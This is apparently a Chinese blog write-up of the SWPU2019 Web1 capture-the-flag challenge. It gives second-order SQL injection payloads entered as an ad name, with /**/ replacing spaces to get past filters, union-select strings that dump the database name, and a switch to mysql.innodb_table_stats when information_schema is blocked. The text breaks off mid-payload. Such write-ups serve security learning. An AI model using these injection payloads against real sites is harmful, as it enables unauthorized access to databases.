[SWPU2019]Web1 &&二次注入&&过滤or,*&&无列名注入

本文详细介绍了在SWPU2019 Web1挑战中遇到的安全问题,包括如何利用二次注入和无列名注入进行攻击。在审题和猜测源码阶段,作者发现可以通过广告名称进行二次注入。经过过滤后的 payload 构造,如使用/**/代替空格,成功绕过防护。在无列名注入部分,由于information_schema被过滤,作者转而利用innodb数据库尝试暴库和爆表。最后,作者解释了在SQL查询中出现"Operand should contain 1 column(s)”错误的原因。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[SWPU2019]Web1

好难一道题,发现自己有好多东西都没掌握,过去也就听个名字。

审题

注册个账号,登录
只有申请发布广告,发现可以把广告名字和内容插入页面
还有个查看详情按钮,单击后发现有一个get类型提交的id参数
可是尝试了

?id=1' and 1=1
?id=1' and 1=2
?id=1
?id=1)
//等等

啥反应也没有,应该是严格的过滤了
又由于之前的可以编辑广告内容和标题
猜测可以二次注入

猜测源码

在detail.php中显示的广告名称等都是从数据库中获得。
应该是先通过查询id获得名称,再通过名称查广告内容
何必多此一举????

$ads_name= select name from ads where id= _$GET["id"];
select ads where name='$ads_name';

二次注入

构造广告名

1'

点击详情后报错,成功注入
发现进行了过滤
or # %23 空格等都不能用了
考虑绕过
用/**/,'代替上述的空格和闭合符号

构造payload:
先看显示的位置
在这里插入图片描述

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

注入点在2和3的位置
暴库

-1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述

======================================================

无列名注入

爆表
information_schema也被过滤了 使用替代的innodb数据库
在这里插入图片描述

当过滤了information_schema时可以用mysql.innodb_table_stats代替information_schema
(select/**/group_concat(table_name)/**/from/**/mysql
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值